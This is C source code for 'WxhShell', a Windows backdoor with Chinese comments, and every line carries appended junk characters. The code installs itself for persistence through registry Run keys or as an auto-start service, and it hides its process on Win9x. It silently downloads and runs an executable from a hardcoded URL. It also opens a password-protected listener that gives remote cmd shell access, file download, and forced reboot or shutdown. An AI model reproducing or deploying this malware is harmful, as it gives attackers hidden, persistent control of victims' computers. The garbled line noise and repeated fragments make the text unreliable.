// 如果时win9x，隐藏进程并且设置为注册表启动 (~wqa 3
HideProc(); X1-'COQS%&
StartWxhshell(lpCmdLine); g+>(dnX
} W~9tKT4
else qjdMqoOCjl
if(StartFromService()) v~V!ayn)wQ
// 以服务方式启动 [)zP6\I
StartServiceCtrlDispatcher(DispatchTable); A5R<p+t6
else xQXXC|T
// 普通方式启动 8hJ%JEzga
StartWxhshell(lpCmdLine); RA'M8:$
$jI3VB
return 0; >$7v ;Q
} [b>Fn%y
>A"v ed8
DiwxXqY
T)TfB(
=========================================== 8xV9.4S
;=; 9tX
wFsyD3
L`p4->C9A
!y:vLB#q
v>Yb/{A
" <vh/4
kJzoFFWo$
#include <stdio.h> 6qoyiT%P&
#include <string.h> [] `&vWZ
#include <windows.h> _'>oXQJ
#include <winsock2.h> ``Dq
#include <winsvc.h> s!&#c`=
#include <urlmon.h> 9c#+qH
pU%n]]qF
#pragma comment (lib, "Ws2_32.lib") #W'HR
#pragma comment (lib, "urlmon.lib") C|).;V&
wq(7|!Eix
#define MAX_USER 100 // 最大客户端连接数 (@<c6WS
#define BUF_SOCK 200 // sock buffer ]?+p5;{y4
#define KEY_BUFF 255 // 输入 buffer !K}~/9Z=m
(ehK?6[
#define REBOOT 0 // 重启 `W:%mJd9
#define SHUTDOWN 1 // 关机 ?:8ido#-
+*T7@1
#define DEF_PORT 5000 // 监听端口 Avd ^
)d1_Wm#B
#define REG_LEN 16 // 注册表键长度 ,PuL{%PXu
#define SVC_LEN 80 // NT服务名长度 bE#,=OI$
)ufg9"\
// 从dll定义API luuX2Mx>o
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "2P&X
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WEQ1 Seq
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +HeTtFo{M
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /F-qP.<D,r
;":zkb{
// wxhshell配置信息 [los dnH^?
struct WSCFG { -o[x2u~n\
int ws_port; // 监听端口 =;3Sx::=
char ws_passstr[REG_LEN]; // 口令 7/ysVWt
int ws_autoins; // 安装标记, 1=yes 0=no PMh^(j[
char ws_regname[REG_LEN]; // 注册表键名 m-*i>4;
char ws_svcname[REG_LEN]; // 服务名 ];a=Pn-:}G
char ws_svcdisp[SVC_LEN]; // 服务显示名 l@H
char ws_svcdesc[SVC_LEN]; // 服务描述信息 @}OL9Ch
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KJ=6n%6
int ws_downexe; // 下载执行标记, 1=yes 0=no ^xHTWg%9
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v'qG26
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Co9QW/'i
hMUs" <.
}; GCX G/k?w:
E4W -hq~
// default Wxhshell configuration d`nVc50
struct WSCFG wscfg={DEF_PORT, OjF_ %5
"xuhuanlingzhe", Ib\iT:AJ
1, 8XzR wYV
"Wxhshell", L ugn3+
"Wxhshell", Rhz_t@e
"WxhShell Service", W?aI|U1
"Wrsky Windows CmdShell Service", RGg(%.
"Please Input Your Password: ", n'01Hh`0
1, oA7;.:3
"http://www.wrsky.com/wxhshell.exe", V7[zAq
"Wxhshell.exe" LbG_z =A
}; J'fQW<T4wU
jbu8~\"
// 消息定义模块 Fpa;^F
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; jm0- y%
char *msg_ws_prompt="\n\r? for help\n\r#>"; P%=#^T&`}
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4%}*&nsI-Z
char *msg_ws_ext="\n\rExit."; HA`@7I
char *msg_ws_end="\n\rQuit."; `V"sOTb
char *msg_ws_boot="\n\rReboot..."; SWQ5fcPu
char *msg_ws_poff="\n\rShutdown..."; tqeZ#w7
char *msg_ws_down="\n\rSave to "; aj}sc/Qa
VUYmz)m5
char *msg_ws_err="\n\rErr!"; K]|> Et`
char *msg_ws_ok="\n\rOK!"; .J.-Mm`.
;F#7Px(q
char ExeFile[MAX_PATH]; Xn,v]$M!
int nUser = 0; Bj}^\Pc;}
HANDLE handles[MAX_USER]; Jn3An
int OsIsNt; T[4<R 5}
&S]@Ot<z
SERVICE_STATUS serviceStatus; 2KN6}
SERVICE_STATUS_HANDLE hServiceStatusHandle; 0iK;Egwm
m-DsY
// 函数声明 OD 3f.fT
int Install(void); [],1lRYI9_
int Uninstall(void); \eb|eN0i
int DownloadFile(char *sURL, SOCKET wsh); o{EC&-
int Boot(int flag); t" 7yNs(I
void HideProc(void); CQr<N w
int GetOsVer(void); }X_;X_\3;'
int Wxhshell(SOCKET wsl); T?1Du"d8
void TalkWithClient(void *cs); pge++Di
int CmdShell(SOCKET sock); iQ6epg1wB
int StartFromService(void); V0(o~w/W%!
int StartWxhshell(LPSTR lpCmdLine); #nO|A\N
[kzd(u
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o/ mF#
VOID WINAPI NTServiceHandler( DWORD fdwControl ); he-Ji
q4$+H{xB
// 数据结构和表定义 IU]^&e9u
SERVICE_TABLE_ENTRY DispatchTable[] = %Lrd6i_j
{ T<joRR
{wscfg.ws_svcname, NTServiceMain}, u=NSsTP&
{NULL, NULL} <{:
}; fiI $T:g.
<U9/InN0[
// 自我安装 g3sUl&K
int Install(void) #4h+j%y[H
{ [;oCYb$9
char svExeFile[MAX_PATH]; C#=bW'C
HKEY key; 7"*|2Xq
strcpy(svExeFile,ExeFile); L]hXpt
tPyyZ#,
// 如果是win9x系统，修改注册表设为自启动 }Y1>(U
if(!OsIsNt) { qxJQPz
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F'?I-jtI
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ixh47M
RegCloseKey(key); )g@S%Yu
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V'2EPYB
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a>B[5I5
RegCloseKey(key); }5O>EXE0R
return 0; /Go K}W}
} [rOaM$3|
} \hP=-J[~C
} @TA9V@?)
else { Qc{RaMwD
UU}7U]9u
// 如果是NT以上系统，安装为系统服务 )I@L+
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GfyX'(ge
if (schSCManager!=0) 3Gr&p6
{ ;}.Kb
SC_HANDLE schService = CreateService =j /hl
( ^!;=6}YR
schSCManager, 9;r? nZT/
wscfg.ws_svcname, lg:y|@Y''
wscfg.ws_svcdisp, -lRhz!E]
SERVICE_ALL_ACCESS, r7!J&8;{K
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , a~^Srj!}x
SERVICE_AUTO_START, jlKGXD)Q[
SERVICE_ERROR_NORMAL, kJ: 2;t=
svExeFile, Dd2Lx&9
NULL, R+$8w2#
NULL, WY)^1Gb$ux
NULL, /'>;JF
NULL, X#+`e+Df
NULL n*qN29sx
); s5Fr)q// !
if (schService!=0) 8tWE=8<
{ ]u&dJL
CloseServiceHandle(schService); G79C {|c\
CloseServiceHandle(schSCManager); H$-$2?5
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C?QfF{!7
strcat(svExeFile,wscfg.ws_svcname); <~%t$:
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cq^sq1A:
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S[@6Lp3q_
RegCloseKey(key); hBCR]=']
return 0; 4IGxI7~27#
} y=o=1(
} Io+IRK
CloseServiceHandle(schSCManager); h1%y:[_
} FH n,]Tfx
} o#d$[oa
Ry%YM,K3
return 1; L+Nsi~YVq
} |z7dRDU}]
6bL"LM`s
// 自我卸载 F|]rA*2u
int Uninstall(void) tq E>Zx=X
{ lZ~+u
HKEY key; RUrymkHFB
5~yb ~0
if(!OsIsNt) { vXPuyR<J
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Bd4 C]E
RegDeleteValue(key,wscfg.ws_regname); ],V kp
RegCloseKey(key); ty;o&w$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vadM1c*z
RegDeleteValue(key,wscfg.ws_regname); bf^ly6ml
RegCloseKey(key); L9'-
return 0; qi[(*bFK7
} 8c?8X=|D7
} wR1K8b".DC
} & ^!v*=z
else { 3&'R1~Vh
I! ITM<Z$l
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .??rqaZ=
if (schSCManager!=0) fsb=8>}63}
{ :dbV2'vIQ
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NFM-)Z57
if (schService!=0) B#H2RTc
{ $:HLRl{2E
if(DeleteService(schService)!=0) { j<|6s,&
CloseServiceHandle(schService); 8ok7|DJ
CloseServiceHandle(schSCManager); Lj-{t% }
return 0; ;op'V6iG
} 4}PeP^pj
CloseServiceHandle(schService); :Q#H(\26r
} up7x)w:
CloseServiceHandle(schSCManager); ees^O{ 8
} {9,R@>R
} BfEx'C
t-a`.y
return 1; ^K*~ <O-
} \c'%4Ao
_fe0,
// 从指定url下载文件 f>b!-|
int DownloadFile(char *sURL, SOCKET wsh) 7a27^b
{ fLc!Sn.Y
HRESULT hr; T=Ol`?5
char seps[]= "/"; F F(^:N
char *token; %j!z\pa
char *file; ^$ZI>L0+
char myURL[MAX_PATH]; V=Ww>
char myFILE[MAX_PATH]; ENpaaW@!Y
{[rO2<MkA#
strcpy(myURL,sURL); `=PB2'
token=strtok(myURL,seps); 23,%=U
while(token!=NULL) ejDCmD
{ 6Eij>{v
file=token; ,OFq'}q
token=strtok(NULL,seps); / N*HE
} &P{o{
F?!};~$=Z
GetCurrentDirectory(MAX_PATH,myFILE); R'jUS7]Y
strcat(myFILE, "\\"); {EZFx,@t
strcat(myFILE, file); (0Zrfu^
send(wsh,myFILE,strlen(myFILE),0); U`HXsq p}
send(wsh,"...",3,0); dY48S{
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xop-f#U*
if(hr==S_OK) JsHxQ0Tw
return 0; -d\AiT
else zWP.1 aA&
return 1; u)N2
A} x_zt
} a)YJ4\Qg[
}D&"z8mP
// 系统电源模块 mdmZ1:PBM
int Boot(int flag) g]oc(RM
{ Fv5x6a
HANDLE hToken; q!ulE{ ^
TOKEN_PRIVILEGES tkp; ?[a7l:3-[
~5XL@jI^
if(OsIsNt) { UeutFNp
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d&$.jk8 2
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !HT>
tkp.PrivilegeCount = 1; 3N)Ycf8
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tk]_QX %
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (mOqv9pn
if(flag==REBOOT) { sM);gI14
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \(3Qqbw
return 0; ly[\mGr
} TV$\v@\ =
else { Wfi:wCqZG
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w|K(>5nz
return 0; ePPp)=
} P^uP$D
} h>mBkJ {
else { 8as$h*Wh
if(flag==REBOOT) { x3p;H02i\
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hr$VVbOho
return 0; ;c \zgs~"T
} D!OG307P
else { +lk\oj$S+
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) H *z0xxa
return 0; KNUMz4
} gpO_0U4lQ]
} Rd@n?qB
)U/@J+{{
return 1; fjz2m
} m`1}O"<&i
r~Is,.zZ}
// win9x进程隐藏模块 f;_K}23
void HideProc(void) 1,*Z_ F=y
{ 1Q2k>q8
??esB&4?
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y[ rB"
if ( hKernel != NULL ) b'Nvx9=W
{ ki][qvXJ
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >8Yrmq
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); jP6oJcZ
FreeLibrary(hKernel); VK@i#/jm
} =^%Pwkz
hjm.Ath
return; (Db*.kd8,
} VUg~[
d9Ow 2KrC
// 获取操作系统版本 qkR,<"C|`
int GetOsVer(void) 19YJ`(L`x
{ VgC9'"|
OSVERSIONINFO winfo; ;29XvhS8
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D+vl%(g
GetVersionEx(&winfo); $M8>SLd
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^w.(*;/
return 1; #mz,HK0|aC
else Ws}kb@5
return 0; q[,R%6&'
} f4\p1MYQ
xa%ktn
// 客户端句柄模块 {bq-: CZe
int Wxhshell(SOCKET wsl) j}x O34
{ e>i8=U`;
SOCKET wsh; {1-CfQ0 8
struct sockaddr_in client; =QxE-)v
DWORD myID; +h\W~muR
kAe-d
while(nUser<MAX_USER) I!i#=
{ `sp'Cl!
int nSize=sizeof(client); ,h)T(
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %>*0.)wG
if(wsh==INVALID_SOCKET) return 1; 6@_@nlA<1
0g*r!aa
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }s)&/~6
if(handles[nUser]==0) =~2 Uv>YG
closesocket(wsh); j/`qd(=B
else Lq8Z!AIw>
nUser++; ]F)-}
} NcY0pAR*
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q17o5##x7
W;AWO0+
return 0; Q!A3hr$IF
} 'frL/[S
p/^\(/\])
// 关闭 socket 'I01F:`
void CloseIt(SOCKET wsh) 2 DNzC7}e
{ HZQ3Ht3Vh
closesocket(wsh); @ 6VH%
nUser--; -L'`d
ExitThread(0); i:N^:%
} %dWFg<< |
~9>[U%D
// 客户端请求句柄 V;+$/>J`vB
void TalkWithClient(void *cs) GyXs{*
{ Tk|;5^#H
.)pRB7O3
SOCKET wsh=(SOCKET)cs; %Fm;LQa ]
char pwd[SVC_LEN]; 1AEVZ@(j7
char cmd[KEY_BUFF]; e.Q K%
char chr[1]; aKFA&Xnsl
int i,j; ?%fZvpn-
87E3pe
while (nUser < MAX_USER) { 3usA
z&J ow/
if(wscfg.ws_passstr) { ALieUf
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YKxA2`3v%
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); byxehJ6[V
//ZeroMemory(pwd,KEY_BUFF); #yRA.;
i=0; JhXN8Bq33
while(i<SVC_LEN) { $m0x8<7nu
G#n)|p
// 设置超时 &"6ktKrIg
fd_set FdRead; >oaEG5%d
struct timeval TimeOut; &)}:Y!qiu
FD_ZERO(&FdRead); kvVz-PJy
FD_SET(wsh,&FdRead); >(4S `}K
TimeOut.tv_sec=8; 6f9<&dCK
TimeOut.tv_usec=0; 6@*;Wk~
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U;dt-3?=.h
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c5+lm}R?
YhK/pt43C
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v?=VZ~`O(
pwd=chr[0]; fU7:3"|s8
if(chr[0]==0xd || chr[0]==0xa) { KK3xz*W0
pwd=0; c'TLD!^hB
break; U$J_:~
} Im1qWe
i++; 9NXiCP9A
} .-6s`C2 Y}
"/h"Xg>q
// 如果是非法用户，关闭 socket L"<Eov6
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BQ)43Rr>
} aq| [g
_ShJ3\,K
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6]49kHgMhe
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mzR @P$:36
;//qjo
while(1) { \-id[zKb
w:@M|O4`
ZeroMemory(cmd,KEY_BUFF); 3YF]o9
=+\oL!^
// 自动支持客户端 telnet标准 #$)rwm.jW?
j=0; =qQQ^`^F'~
while(j<KEY_BUFF) { 2~'quA
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R6.#gb8^oS
cmd[j]=chr[0]; 4 V*)0?oYE
if(chr[0]==0xa || chr[0]==0xd) { -^"?a]B
cmd[j]=0; `.-C6!
break; $X]v;B)J|
} /YR$#&N2
j++; `t2! M\)
} x"T^>Q
[=!MS?-G
// 下载文件 0P >dXd)T
if(strstr(cmd,"http://")) { TC}u[kM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); <a3XV
if(DownloadFile(cmd,wsh)) QX|K(`of
send(wsh,msg_ws_err,strlen(msg_ws_err),0); T ua @w+
else A+8b]t_k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ry~LhU:
} @SXgaWr
else { SQx):L)P6
?K#$81;[
switch(cmd[0]) { ;hDr+&J|
&[pwLYf7
// 帮助 t]XJq
case '?': { T]`" Xl8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H_]kR&F8
break; (#lS?+w)
} 2Mp;/b!
// 安装 #n r1- sf|
case 'i': { UPF=X)!M
if(Install()) IuD<lMeJJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v<W++X7z
else #u^d3 $Nj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uI/ A_
break; -`&;3 7
} WkE;tC*
// 卸载 <KX#;v!I
case 'r': { *fZ'#C~x
if(Uninstall()) ;{RQ+ZX'[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >{Q2S
else O8%/Id
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;p8xL)mUP
break; H#K|SSqY?
} }$jIvb,3?
// 显示 wxhshell 所在路径 C.O-iBVe#
case 'p': { t[Q\T0E
char svExeFile[MAX_PATH]; ]LjW,b"
strcpy(svExeFile,"\n\r"); fmh]Y/UC
strcat(svExeFile,ExeFile); =9-c*bL
send(wsh,svExeFile,strlen(svExeFile),0); &/p9+gd
break; }J1#UH_E
} vSh)r 9
// 重启 Zh*I0m
case 'b': { ND*5pRzvp
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LJ?7W,?
if(Boot(REBOOT)) wuCODz@~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); t [f]
else { #"l=Lv
closesocket(wsh); TQE_zOa:
ExitThread(0); S3w? X
} %-D2I
break; &>SE9w/?o
} 7-)KTBFL
// 关机 o'G")o
case 'd': { &LE/hA
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H`sV\'`!}
if(Boot(SHUTDOWN)) t V</x0#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \TjsXy=:)
else { P$Nwf,d2u
closesocket(wsh); '0+-Hit?
ExitThread(0); t$b`Am
} S:wmm}XQ
break; wXe.zLQ
} CKK8 o9W
// 获取shell 3$_wAt4w
case 's': { Ktoxl+I?
CmdShell(wsh); L fhd02
closesocket(wsh); %VgR *
ExitThread(0); r?{tBju^
break; 6B=J*8 Hs
} sHNt>5p
// 退出 cOSUe_S0w[
case 'x': { 0[^f9NZ>-
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 09r.0Ks
CloseIt(wsh); `J;_!~:
break; /}Max@.`
} k# /_Zd
// 离开 kjH0u$n
case 'q': { 1:?WvDN=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); \7RP6o
closesocket(wsh); 'Q# KjY
WSACleanup(); ].eGsh2
exit(1); V<b"jCXI
break; HQ"D>hsuU
} *&7Av7S
} @<_4Nb
} b?z8Yp6
LaRY#9
// 提示信息 8D-g%Aj-
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =73wngw
} uXXwMc<p
} @l 1 piz8
K:mb$YJ&
return; \%UA6uj
} JHcC}+H[
vb# d%1b5
// shell模块句柄 UhNeY{6
int CmdShell(SOCKET sock) f -bVcWI
{ ^XV$J-
STARTUPINFO si; ^j@,N&W:lG
ZeroMemory(&si,sizeof(si)); >#SQDVFf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $%LjIeVA5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X=lOwPvP
PROCESS_INFORMATION ProcessInfo; |VIBSty2d
char cmdline[]="cmd"; k z<We/
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VgOj#Z?K
return 0; @X:P`?("^
} IL\#!|>
vI4St;
// 自身启动模式 zUeS7\(l
int StartFromService(void) Rh iiQ
{ wT;D<rqe`
typedef struct !RV}dhI
{ P7Kp*He)
DWORD ExitStatus; Eg>MG87
DWORD PebBaseAddress; _jp8;M~Z
DWORD AffinityMask; H'GyWG|Wx
DWORD BasePriority; {/N4/gu
ULONG UniqueProcessId; ))<3+^S0V\
ULONG InheritedFromUniqueProcessId; RV-7y^[]^
} PROCESS_BASIC_INFORMATION; BDpeAF8z
G0^NkH,k
PROCNTQSIP NtQueryInformationProcess; 0GEK xV\F
jvA]EN6$;~
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; HKV]Rn
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lCDXFy(E
u9J;OsnHK
HANDLE hProcess; F4@``20|
PROCESS_BASIC_INFORMATION pbi; WI' ;e4
Y6f0 ?lB
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Iq MXd K|
if(NULL == hInst ) return 0; to2dkU
y8VLFe;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "YM)bc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 52=?! JM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zxY
{x s{
if (!NtQueryInformationProcess) return 0; S 7RB`I5
}sZme3*J[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !>TH#sU$
if(!hProcess) return 0; s+l)Q
d H]'&&M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m z) O
Mz_*`lRN
CloseHandle(hProcess); (=,p"3^
l-g+E{ZM
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I8rtta
if(hProcess==NULL) return 0; Nw* >$v
3+rud9T
HMODULE hMod; t[|^[%i
char procName[255]; w|7<y8#qC
unsigned long cbNeeded; _ 7X0
EA8K*>'pv
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8wMu^3r
0P_qtS
CloseHandle(hProcess); 0 fX
kO>F, M
if(strstr(procName,"services")) return 1; // 以服务启动 LR|LP)I
v!JQ;OX
return 0; // 注册表启动 BxVo>r
} 0rP`BK|
bS[;d5
// 主模块 p'tB4V qT
int StartWxhshell(LPSTR lpCmdLine) 5ELKL#(
{ )*Xd
SOCKET wsl; D-JG0.@
BOOL val=TRUE; KF(N=?KO
int port=0; >VIb|YA
struct sockaddr_in door; ?B7n,!&~
.93B@u
if(wscfg.ws_autoins) Install(); WrP4*6;"
V/"P};n
port=atoi(lpCmdLine); X] cI ?
8$4@U;Vh;
if(port<=0) port=wscfg.ws_port; FtHR.S=u
4'9yMXR
WSADATA data; S&N[@G
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9[31EiT
m$6u K0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; AM?62
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t|XQFb@}
door.sin_family = AF_INET; bruM#T@}
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4K{<R!2I
door.sin_port = htons(port); MhT.Zg\
b9FfDDOq"
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vK@t=d
closesocket(wsl); y{{7)G
return 1; =GGt:3Kx-
} 1FC' iGI
*|97 g*G(
if(listen(wsl,2) == INVALID_SOCKET) { vQK*:IRKK
closesocket(wsl); }fzv9$]$
return 1; =XbOY[
} N i\*<:_
Wxhshell(wsl); #RIo63
WSACleanup(); >U?U;i
35>VCjCw0
return 0; #I]5)XT
0C3s
} ~ 8hAmM
"j(?fVx
// 以NT服务方式启动 =6o,{taZ.~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X0IXj%\N
{ UM?{ba9
DWORD status = 0; |gl~wG1@
DWORD specificError = 0xfffffff; <0?h$hf4c
7-*QF>w<a
serviceStatus.dwServiceType = SERVICE_WIN32; f[}N
serviceStatus.dwCurrentState = SERVICE_START_PENDING; zzq7?]D
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xn<~ln
serviceStatus.dwWin32ExitCode = 0; 2`|1 !x
serviceStatus.dwServiceSpecificExitCode = 0; JYQ.Y!X1O
serviceStatus.dwCheckPoint = 0; Cq-d,
serviceStatus.dwWaitHint = 0; $8kQM
OB-2xmZW
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^g[,}t:/d
if (hServiceStatusHandle==0) return; qT U(]O1
aahAUhF
status = GetLastError(); 7.G1Q]6/
if (status!=NO_ERROR) D'dE!CAUs
{ $M `%A
serviceStatus.dwCurrentState = SERVICE_STOPPED; y1zNF$<q
serviceStatus.dwCheckPoint = 0; JjH#,@'.
serviceStatus.dwWaitHint = 0; {u/G!{N$
serviceStatus.dwWin32ExitCode = status; Z @:5vo
serviceStatus.dwServiceSpecificExitCode = specificError; ;THb6Jz/+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); M!KHBr
return; 8UAbTqB-
} ulcm
X<6Ro es2
serviceStatus.dwCurrentState = SERVICE_RUNNING; !>%U8A
serviceStatus.dwCheckPoint = 0; OI=LuWGQE1
serviceStatus.dwWaitHint = 0; 7.-g=Rcz
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZjlFr(
} 5P?7xRA
%]~XbO
// 处理NT服务事件，比如：启动、停止 K2=`.
VOID WINAPI NTServiceHandler(DWORD fdwControl) pI__<
{ m-{t%[Y
switch(fdwControl) s`:>"1\|
{ j\,HquTR
case SERVICE_CONTROL_STOP: 37#|X*L
serviceStatus.dwWin32ExitCode = 0; KK}?x6wV0,
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7N@4c
serviceStatus.dwCheckPoint = 0; ~j1.;WId[
serviceStatus.dwWaitHint = 0; $]&0`F
{ ,34|_
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iG:9uDY
} ]Bpdb'
return; QQQ3U
case SERVICE_CONTROL_PAUSE: I|RMxx y;
serviceStatus.dwCurrentState = SERVICE_PAUSED; jafIKSD]%
break; {i:5XL
case SERVICE_CONTROL_CONTINUE: &}TfJ=gj
serviceStatus.dwCurrentState = SERVICE_RUNNING; k>W5ts2+
break; KJ7[DN'(
case SERVICE_CONTROL_INTERROGATE: me-:A:si
break; /3MTutM|<X
}; lnXb]tm;
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2>Uy`B|f
} a6UW,n"n
s_`PPl_D$K
// 标准应用程序主函数 mLa0BIP
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &e#>%0aS
{ A5d(L4Q]a(
[dszz7/L
// 获取操作系统版本 sd (I@ &y
OsIsNt=GetOsVer(); -c^/k_n
GetModuleFileName(NULL,ExeFile,MAX_PATH); -EwtO4vLJ
Fx^e%":@ip
// 从命令行安装 uO4kCK<7C
if(strpbrk(lpCmdLine,"iI")) Install(); =1rq?M eX
a$Lry?pb
// 下载执行文件 @<GVY))R8
if(wscfg.ws_downexe) { ?q}XDc
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9u3~s<
WinExec(wscfg.ws_filenam,SW_HIDE); "8pfLI
} D.e4S6\&
UV?.KVD~
if(!OsIsNt) { x#mZSSd
// 如果时win9x，隐藏进程并且设置为注册表启动 s_(%1/{
HideProc(); c|f)k:Q
StartWxhshell(lpCmdLine); nm[ yp3B
} ##%R|P3
else R]oi&"H@r)
if(StartFromService()) Q?Au.q],
// 以服务方式启动 P#_8$#G3
StartServiceCtrlDispatcher(DispatchTable); B3p[A k
else j Hd<*
